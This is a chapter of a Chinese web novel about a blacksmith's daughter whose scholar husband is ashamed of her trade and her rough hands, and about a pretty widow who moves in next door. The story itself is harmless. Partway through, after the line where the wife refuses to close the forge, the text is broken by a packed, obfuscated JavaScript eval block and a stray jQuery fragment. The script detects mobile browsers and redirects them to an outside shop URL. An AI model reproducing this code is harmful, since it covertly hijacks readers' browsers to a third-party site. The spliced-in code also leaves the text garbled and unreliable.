成亲头一个月，日子过得还算太平。
周砚书每日去县学读书，早出晚归，宋云铮就在铁铺里头忙活。她手艺随了宋老爹，镇上人信得过，从前那些老主顾见她嫁了人也照旧上门来订货，锄头犁铧菜刀铁锅，小件大件来者不拒。
她把挣来的铜板仔细码在一个陶罐里，隔几天清点一次，大半拿出来搁在周砚书的书案抽屉里，供他买笔墨纸砚和县学的束脩，小半留作铁铺的周转。
周砚书起初没说什么，每日晨起时有热粥，傍晚归来时院子干净，衣物浆洗得妥帖晾在竹竿上，灶上时常温着一壶茶，日子确实比从前光棍汉时舒坦多了。
但他心里那点疙瘩慢慢还是露了头。
成亲之前，赵婆子把宋云铮夸得天花乱坠——能干、贤惠、持家一把好手、人又老实本分，虽然模样粗了些，但过日子要那么好看的干什么。周砚书点头应下这门亲事时说服自己的也是这个理：他家穷，拿不出像样的聘礼，娶不着那些娇滴滴的小家碧玉，宋家闺女虽然糙了些，但到底能替他撑起门户，让他安心读书考学。
他以为他能忍。毕竟日子是过出来的，感情也是处出来的。
可每次夜里同床共枕，他不小心碰到宋云铮的手时，那个念头就会冒出来。
太糙了。掌心全是厚茧，指节粗得像男人，指尖还有被铁水烫过后留下的坑坑洼洼的疤。有一次他无意中握了一下，那触感让他本能地缩了手，随即意识到自己这个动作太伤人，赶紧假装伸懒腰掩饰了过去。
宋云铮似乎没察觉，又似乎察觉了，但她什么也没说。
她这个人话少。少到什么程度？一天下来除了必要的"饭在锅里""明儿下雨记得带伞""铺子接了个大活儿晚点回来"，几乎不多说一个字。她跟镇上那些碎嘴的妇人们也不怎么来往，别人凑堆闲聊她就在铁铺里抡锤子，叮叮当当的，跟外头的八卦声掺在一起，像两个世界的东西。
周砚书跟她说话也常常是他说三句，她回一句。他谈文章谈策论谈将来的仕途抱负，她就"嗯"一声表示听见了，然后继续擦她的铁器。
有一回他拿了新作的八股文给她看，想着夫妻之间总得有些共同话题。宋云铮接过去扫了一遍，指了一段说："这里立论不够稳，前面铺得太开了，收的时候撑不住。"周砚书当时脸色就沉了，一把把稿子抽回来，说："你一个打铁的懂什么文章。"
宋云铮的手在半空顿了一瞬，收了回去。
她没再碰过他的文章。
那天晚上周砚书赌气睡在了外侧，背对着她。宋云铮躺了一会儿，忽然轻声说了一句："我爹从前教我认过字，我读过几本书，不多，但能看出好坏来。"
周砚书没答话，呼吸渐渐平稳了，像是睡着了。
宋云铮睁着眼看了会儿房梁，翻了个身，也闭上了眼。
那时候是婚后第三个月。北边入秋了，天凉得快，铁铺里烧炉火不觉得，回到周家那个冷飕飕的院子才觉出温差。宋云铮开始琢磨给周砚书添件厚些的袍子，县学里头那些同窗穿得都体面，就他还穿着前两年浆洗得发白的旧青衫，袖口都磨毛了边。
她攒了大半个月的铜板，去布庄扯了匹靛青的细棉布，又买了半斤好棉花，趁夜里铺子歇了工，坐在油灯底下一针一线地缝。她手粗，针脚不如那些常年做针线的妇人们齐整，但她缝得慢、缝得密，一针一针来回扎，生怕不牢靠。
缝到第三夜的时候，周砚书夜里起来解手，看见她在灯底下做针线活，愣了一下。
"你做什么呢？"
"给你缝件棉袍。"宋云铮头也没抬，手里的针线没停。
周砚书走过来看了一眼，布料是好布料，针脚虽然粗笨，但扎实。他心头忽然泛上一股说不清的滋味，在原地站了片刻，伸手摸了摸她的头发，说："辛苦你了。"
宋云铮被他摸得一愣，抬头看了他一眼，嘴角弯了个很小的弧度："你去睡吧，我再缝两针就好了。"
周砚书回到床上躺着，听着身后窸窸窣窣的缝衣声，心里那点因为文章被打回来而生出的不快悄悄散了几分。他想，日子虽然跟从前想的有些出入，但宋云铮到底是个踏实的女人，将就着过，也没什么不好。
可这口气他没顺到底。
又过了两个月，县学里的同窗知道他娶了青石镇打铁匠的闺女，便有人拿这个打趣他。那天散学，几个同窗在学堂门口的廊下说话，有人笑嘻嘻地问他："周兄，你媳妇儿可还抡得动锤子？改天请她替我家打口锅呗？"
旁边人哄笑起来。
周砚书脸上挂不住，勉强笑了笑："内人如今已不操持那些了，在家中……做些家务罢了。"
"哦？"那人挑眉，"可我上回路过青石镇，分明瞧见你家铁铺开着门，里头叮叮当当响得热闹，是你媳妇吧？"
周砚书的笑容僵在脸上。
那天他回家时脸色阴沉。进了院子看见宋云铮正蹲在水井边洗铁料，袖子挽到肘上，露出两条结实黝黑的小臂，满手污泥，额上还挂着汗珠。
周砚书站在她身后，捏紧了手里的书箱带子，忽然说："你把铁铺关了吧。"
宋云铮的手停了。她回过头来看他，脸上没什么表情，只是问："为什么？"
"外头人笑话。"周砚书的声音压得很低，带着一股憋屈，"你一个妇道人家，成天在外面抛头露面打铁，别人怎么说我？说我周砚书养不起媳妇，要她出来卖力气糊口。"
宋云铮把手里的铁料放进水桶里涮了涮，站起来在围裙上擦了擦手，看着他说："我挣的钱给你买书买纸，你嫌丢人了？"
周砚书被她这话堵得一口气没上来，胸膛起伏了几下："我不是那个意思……我是说，你能不能……温柔些？别像个男人似的干这些粗活？你一个女人家，成天跟铁疙瘩打交道，手上全是茧子，看着……"
他说到一半忽然住了嘴。因为宋云铮低头看了看自己那双手，然后抬起头来，眼神平平的，底下什么东西也没露。
"看着什么？"她问。
周砚书喉咙动了动，没把后半句说出来。
宋云铮把手上的水甩了甩，绕过他往屋里走，路过他身边时带起一阵铁腥味儿。她的声音从背后飘过来，还是那么平平的："铺子不会关。我爹留给我的东西，我不能扔。"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834922|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
周砚书站在院子里，拳头捏了又松，松了又捏，最后低声骂了一句什么，摔门进了书房。
那晚他们没有一起吃饭。宋云铮在灶台边热了剩粥自己喝了，周砚书在书房里翻书翻到半夜，赌气没出去。第二天一早他出门时，桌上照旧摆着热粥和咸菜，宋云铮已经去铺子里了。
他站在桌边看着那碗粥，沉默了一会儿，端起来喝完了。
日子就这么磕磕绊绊地往下过。
宋云铮在隔壁废弃的屋舍里也收拾了间屋子改造成了小打铁间，活紧的时候，就在隔壁打好一些铁胚。
宋云铮照旧开着自家老爹留下的铁铺，挣的钱照旧放进他书案抽屉里，只是她开始把工钱分作两份——一份给他，一份自己收着，谁也没告诉。她手里攒了些私房钱，不多，但她觉得该留着。
周砚书也照旧读书考学，只是每回从县学回来，听见隔壁院子里叮叮当当的打铁声，心里那股说不清的烦躁就越发分明。
另一侧隔壁搬来那个小寡妇，是成亲第二年的初春。
那天宋云铮去县上送一批打好的农具，回来时发现隔壁那间空了小半年的院子搬了人。一个年轻妇人站在门口收拾东西，穿一件素净的藕荷色衫子，头发松松挽着，露出一截白净的脖颈，看见她走过来，便抬头笑了一下，眉眼弯弯的。
"这位姐姐是隔壁的吧？我姓柳，往后咱们就是邻居了。"
宋云铮点了点头："宋云铮，夫家姓周。"
柳含烟笑起来，声音清清脆脆的："周夫人好。我刚搬来什么都不熟，往后还请多照应。"她说话时纤长的手指搭在门框上，指甲修剪得圆润干净，涂着淡粉的蔻丹，跟她那张白净的脸配在一起，像幅画似的。
宋云铮低头看了看自己黑黢黢的手，没什么表情地点了点头，拎着东西回了自家院子。
当晚周砚书回来，正巧在巷口碰见了柳含烟在晾衣裳。藕荷色的衫子挽到肘上，露出两截白生生的手臂，她站在竹竿前踮着脚把衣裳搭上去，腰线拉出一道纤细的弧。
周砚书脚步慢了下来。
柳含烟听见脚步声回头，认出他，又露出那个弯弯的笑："周相公回来了？你夫人之前还跟我说起你呢。"
周砚书不自然地清了清嗓子："柳娘子。"他加快了步子想走，但目光还是从那截白净的手腕上掠过了一遍。
回到院子里，宋云铮正蹲在灶台前生火。她的手在火光里忽明忽暗，指节粗大，手背上有铁屑烫出的旧疤。周砚书看了一眼，把视线移开了。
"隔壁搬来个小寡妇？"他问。
"嗯。"宋云铮头也没回。
"挺年轻的。"
宋云铮没接话，往灶膛里添了根柴。火苗蹿起来，噼啪响了一声。
周砚书在院子里站了站，转身回了书房。
那天夜里他翻来覆去睡不着，脑子里莫名其妙就浮现出柳含烟踮脚晾衣裳时那截白净的手腕，又浮出宋云铮蹲在灶前火光里的手背。两个画面叠在一起，一个像白瓷，一个像黑铁。
他翻了个身，把脸埋进枕头里。
身旁的宋云铮呼吸平稳，早就睡着了。